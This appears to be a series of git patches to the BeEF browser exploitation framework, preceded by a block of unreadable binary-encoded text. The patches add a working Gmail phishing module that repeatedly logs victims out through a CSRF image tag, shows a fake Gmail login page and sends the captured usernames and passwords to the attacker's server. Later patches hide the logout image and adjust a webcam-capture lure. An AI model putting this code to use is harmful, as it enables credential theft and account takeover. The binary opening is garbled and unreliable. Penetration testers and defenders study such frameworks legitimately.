z_P9mgq~EP`&(hB5O6&fh1G_wgK65_1LhyE<#2O#y0hmwU159nWt!H<*bSAeh`xQLX^zgA z>;AV|vaYPJ3Jx4a`S4(i@7rmS>3q+m83+e>_m$9&|qcuTCK=Pvx1d^D~3Ra#k~@6Nr^ zZKWo~YXU@pduCirx~=&{RK05cqv!VFjf+ZW*0z+GUOOZzEPWAPym0FDGtwi%wew!a z%xL{H`tp%k$Dde!JCaF%|7iT8uV*%f)h~O|+&$LmZnW24!*^fPW4@^o_zN?}h1Wg2 zFs-LUrQNLHkKL}5&d=39Ru?hIzp>O#YR&B1Lu)Y(o1#5x*&%P`ZP^hI@~7S-_vxrz zOk*VJoVBs-o1uzzT)ogSM^K$uC%9l-apkRMwtemOg`Q>spC%=yKbkwWWAnF{$*&^z ziNbDX95p?1_QIY^*BVMKjxM_}ag9yolK4n|e;!lf5&V>dYfbK70^dxTFhGq-a8sb~I=?#X;A+BrF zJC^`##mS}#%ytu%7R?3I&NO!|Fnos^X|*Xp_XoDrRJZz1Su<_? z?#uV4hzxW$xF=t{x^-vG?IWSj7K&1fi+N>+`aeSx_A8M7oRfi!&)Y;Is0PbBGcEVSBfu$`tH-(WRYb!aC_2`lG)D} z99kZOTj(b7#-IHd+Unn)+wu_k^z87DCl?=;&Rbz#hj0;wcgT(?(%01=yMuf(4=pqO z%$Qzweup;5G9>rei8RKk^8;2HdfD4Mo&VF;s(7dMV!hh6C9cUCmD8f5#IK|4loRr9 zaRTb*&fXV2*@-@|PpLhqO#V6TNbM$H>jSmh!gp^AzIwXm!i86VM%1r6QlfG_NvC9c zRGl$>Z^_<}A)h4Q{`B^U*S+B!%8|O{b zif*nOd|P|L{(PjK@$-Xe{!y1MsV{O!u52hv!LDuG`2Je_5#M=hw#5xBc>LqUq&*C| z9gioTe!AqEbNBAL{U8UZiiDV=SPI9mK@$ImmQfI?Dnv8*0hLKs(gF% zakk?+%6F+)yPuEQSU)Fu^th^;(wjT?kuRTP&3ceo_#$p|(1T;Acl-4h`}^EY+Ap{> zDzjQuW%td-HAij!%*?8fJbs~}e%|43clP5k8jpvrc3!fNdK}JX-2rhWGvr$A$RDSs ztve$+v^6Pl+qBN_ucfRG$IjaOZ?8vxewSM65S{wyT&(}C^V!d`*4Wmyd@b1> zvFYWE$R7tE*C%Z@onCY3*0qgs6H<6}F}*{dGI#9u$ei^ey6q3!+80;Pw={pb9g%+f z&278)#^Jt`znQi=?XWG5F$>&-|?;U!S2KsY5^{1sa<=SbJ+}%#Q&I~BZoU`n6 z-i)P8)h(LrMf!OrKIJhRdbnLd&fem#sb0E>ds-P)H25@^U6GkD)Sd_+G1*$nzU0Ayv4=dD*sW4ZK&Ri_qDonlWeM;_cU6r z&5Ymkq1FK{^3e88n1&VZZ8Wj{dhPbiE1R#~x#3Y{hHSjHZ57n8W@O~_w@FO(yBrqqm`X( zjWV;Q=)%BSZ;Zc^U9r+=S5=|M!@>o=9xBi3*cFAI9{1mQYpgnbR^70&(AsbgQP<`q z+0}L&z1G36sJi!=xfpML(2D*wOr;1+sGJc)oR7&*ff*Cq!+NdFJa`~N@x-N#AQ1i}9|e}Me< eXO Date: Wed, 6 Jun 2012 18:49:17 +0100 Subject: [PATCH 24/26] Added Gmail phishing module --- .../gmail_phishing/command.js | 48 ++++++++++++++++++ .../gmail_phishing/config.yaml | 25 ++++++++++ .../gmail_phishing/module.rb | 50 +++++++++++++++++++ 3 files changed, 123 insertions(+) create mode 100644 modules/social_engineering/gmail_phishing/command.js create mode 100644 modules/social_engineering/gmail_phishing/config.yaml create mode 100644 modules/social_engineering/gmail_phishing/module.rb diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js new file mode 100644 index 000000000..0ab5166e8 --- /dev/null +++ b/modules/social_engineering/gmail_phishing/command.js @@ -0,0 +1,48 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +function logoutGoogle() { + var img = document.createElement("IMG"); + img.src = "https://mail.google.com/mail/?logout"; + document.body.appendChild(img); + //set a new setTimeout to redo the logout + setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); +} + +beef.execute(function() { + document.title = "Google Mail: Email from Google"; + beef.browser.changeFavicon("https://mail.google.com/favicon.ico"); + logoutGoogle(); + displayPhishingSite(); +}); + +function clickedSubmitButton(){ + var credentials = "Username: "+document.getElementById('Email').value+" Password: "+document.getElementById('Passwd').value; + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+credentials); + //Timeout needed because otherwise the beef panel doesn't get the credentials in time + setTimeout("redirect()", <%= @wait_seconds_before_redirect %>); +} +function redirect(){ + var theXssUrl = "<%== @xss_hook_url %>"; + if(theXssUrl){ + window.open(theXssUrl); + window.focus(); + } + window.location = "https://accounts.google.com/ServiceLoginAuth"; +} + +function displayPhishingSite(){ + document.body.innerHTML = " Google Mail: Email from Google

Google Mail

A Google approach to email.

Google Mail is built on the idea that email can be more intuitive, efficient, and useful. And maybe even fun. After all, Google Mail has:

  • Lots of space

    Over 2757.272164 megabytes (and counting) of free storage.

  • Less spam

    Keep unwanted messages out of your inbox.

  • Mobile access

    Get Google Mail on your mobile phone. Learn more

Take Google Mail to work with Google Apps for Business

Love Google Mail, but looking for a custom email address for your company?
Get business email, calendar, and online docs @your_company.com. Learn more

"; +} diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml new file mode 100644 index 000000000..5b9d80039 --- /dev/null +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + gmail_phishing: + enable: true + category: ["Social Engineering"] + name: "Google Phishing" + description: "This plugin uses an image tag to XSRF the logout button of Gmail. continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (altough the URL is NOT the Gmail URL)." + authors: ["floyd @floyd_ch floyd.ch"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb new file mode 100644 index 000000000..80f419ceb --- /dev/null +++ b/modules/social_engineering/gmail_phishing/module.rb @@ -0,0 +1,50 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Gmail_phishing < BeEF::Core::Command + + def self.options + configuration = BeEF::Core::Configuration.instance + + xss_hook_url = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/basic.html" + logout_gmail_interval = 10000 + wait_seconds_before_redirect = 1000 + return [ + {'name' => 'xss_hook_url', + 'description' => 'The URI including the XSS to hook a browser. If the XSS is not exploitable via an URI, simply leave this field empty, but this means you will loose the hooked browser after executing this module.', + 'ui_label' => 'XSS hook URI', + 'value' => xss_hook_url, + 'width' => '300px' }, { + 'name' => 'logout_gmail_interval', + 'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.', + 'ui_label' => 'Ms Gmail logout interval', + 'value' => logout_gmail_interval, + 'width' => '100px' }, { + 'name' => 'wait_seconds_before_redirect', + 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) before we redirect to the real Gmail page, so that BeeF gets the credentials in time.', + 'ui_label' => 'Ms before redirecting', + 'value' => wait_seconds_before_redirect, + 'width' => '100px' } + ] + end + + def post_execute + content = {} + content['Result'] = @datastore['result'] + save content + + end + +end From 6f3298235feeffcb02578866bb5a0fe64f515c1c Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 7 Jun 2012 13:29:59 +0930 Subject: [PATCH 25/26] Added IE to not_working for glassfish_war_upload_xsrf module --- modules/exploits/glassfish_war_upload_xsrf/config.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/glassfish_war_upload_xsrf/config.yaml b/modules/exploits/glassfish_war_upload_xsrf/config.yaml index b92c453c9..38febe15b 100644 --- a/modules/exploits/glassfish_war_upload_xsrf/config.yaml +++ b/modules/exploits/glassfish_war_upload_xsrf/config.yaml @@ -23,3 +23,4 @@ beef: authors: ["Bart Leppens"] target: working: ["FF", "S", "C"] + not_working: ["IE"] From 99c6a819f3a2b885bb1bc7b208d2da3111a92685 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 7 Jun 2012 13:56:26 +0930 Subject: [PATCH 26/26] Updated module description for webcam and gmail phishing modules Updated gmail phishing module to hide the polling image Fixed a couple of typos --- modules/browser/webcam/config.yaml | 2 +- modules/browser/webcam/module.rb | 4 ++-- modules/social_engineering/gmail_phishing/command.js | 3 +++ modules/social_engineering/gmail_phishing/config.yaml | 2 +- modules/social_engineering/gmail_phishing/module.rb | 6 +++--- 5 files changed, 10 insertions(+), 7 deletions(-) diff --git a/modules/browser/webcam/config.yaml b/modules/browser/webcam/config.yaml index 98cf7bba3..69f3eb5fb 100644 --- a/modules/browser/webcam/config.yaml +++ b/modules/browser/webcam/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: "Browser" name: "Webcam" - description: "This module will show the Adobe Flash allow webcam dialog to the user. The user has to click the allow button, otherwise this module will not return pictures. The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string." + description: "This module will show the Adobe Flash 'Allow Webcam' dialog to the user. The user has to click the allow button, otherwise this module will not return pictures.
The title/text to convince the user can be customised. You can customise how many pictures you want to take and in which interval (default will take 20 pictures, 1 picture per second). The picture is sent as a base64 encoded JPG string." authors: ["floyd @floyd_ch"] target: working: ["All"] diff --git a/modules/browser/webcam/module.rb b/modules/browser/webcam/module.rb index ad22db94c..de2df6639 100644 --- a/modules/browser/webcam/module.rb +++ b/modules/browser/webcam/module.rb @@ -21,7 +21,7 @@ class Webcam < BeEF::Core::Command end def self.options configuration = BeEF::Core::Configuration.instance - social_engineering_title = "This website is using Adobe Flashd" + social_engineering_title = "This website is using Adobe Flash" social_engineering_text = "In order to work with the programming framework this website is using, you need to allow the Adobe Flash Player Settings. If you use the new Ajax and HTML5 features in conjunction with Adobe Flash Player, it will increase your user experience." no_of_pictures = 20 interval = 1000 @@ -44,7 +44,7 @@ class Webcam < BeEF::Core::Command 'width' => '100px' }, { 'name' => 'interval', 'description' => 'The interval in which pictures are taken.', - 'ui_label' => 'Interval to take pictures in ms', + 'ui_label' => 'Interval to take pictures (ms)', 'value' => interval, 'width' => '100px' } ] diff --git a/modules/social_engineering/gmail_phishing/command.js b/modules/social_engineering/gmail_phishing/command.js index 0ab5166e8..0926bd59d 100644 --- a/modules/social_engineering/gmail_phishing/command.js +++ b/modules/social_engineering/gmail_phishing/command.js @@ -16,6 +16,9 @@ function logoutGoogle() { var img = document.createElement("IMG"); img.src = "https://mail.google.com/mail/?logout"; + img.height = "1px"; + img.width = "1px"; + img.style.visibility = "hidden"; document.body.appendChild(img); //set a new setTimeout to redo the logout setTimeout('logoutGoogle()', <%= @logout_gmail_interval %>); diff --git a/modules/social_engineering/gmail_phishing/config.yaml b/modules/social_engineering/gmail_phishing/config.yaml index 5b9d80039..2ec1d6c6e 100644 --- a/modules/social_engineering/gmail_phishing/config.yaml +++ b/modules/social_engineering/gmail_phishing/config.yaml @@ -19,7 +19,7 @@ beef: enable: true category: ["Social Engineering"] name: "Google Phishing" - description: "This plugin uses an image tag to XSRF the logout button of Gmail. continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (altough the URL is NOT the Gmail URL)." + description: "This plugin uses an image tag to XSRF the logout button of Gmail. Continuously the user is logged out of Gmail (eg. if he is logged in in another tab). Additionally it will show the Google favicon and a Gmail phishing page (although the URL is NOT the Gmail URL)." authors: ["floyd @floyd_ch floyd.ch"] target: user_notify: ['ALL'] diff --git a/modules/social_engineering/gmail_phishing/module.rb b/modules/social_engineering/gmail_phishing/module.rb index 80f419ceb..dc12c3a33 100644 --- a/modules/social_engineering/gmail_phishing/module.rb +++ b/modules/social_engineering/gmail_phishing/module.rb @@ -29,12 +29,12 @@ class Gmail_phishing < BeEF::Core::Command 'width' => '300px' }, { 'name' => 'logout_gmail_interval', 'description' => 'The victim is continuously loged out of Gmail. This is the interval in ms.', - 'ui_label' => 'Ms Gmail logout interval', + 'ui_label' => 'Gmail logout interval (ms)', 'value' => logout_gmail_interval, 'width' => '100px' }, { 'name' => 'wait_seconds_before_redirect', - 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) before we redirect to the real Gmail page, so that BeeF gets the credentials in time.', - 'ui_label' => 'Ms before redirecting', + 'description' => 'When the user submits his credentials on the phishing page, we have to wait (in ms) before we redirect to the real Gmail page, so that BeEF gets the credentials in time.', + 'ui_label' => 'Redirect delay (ms)', 'value' => wait_seconds_before_redirect, 'width' => '100px' } ]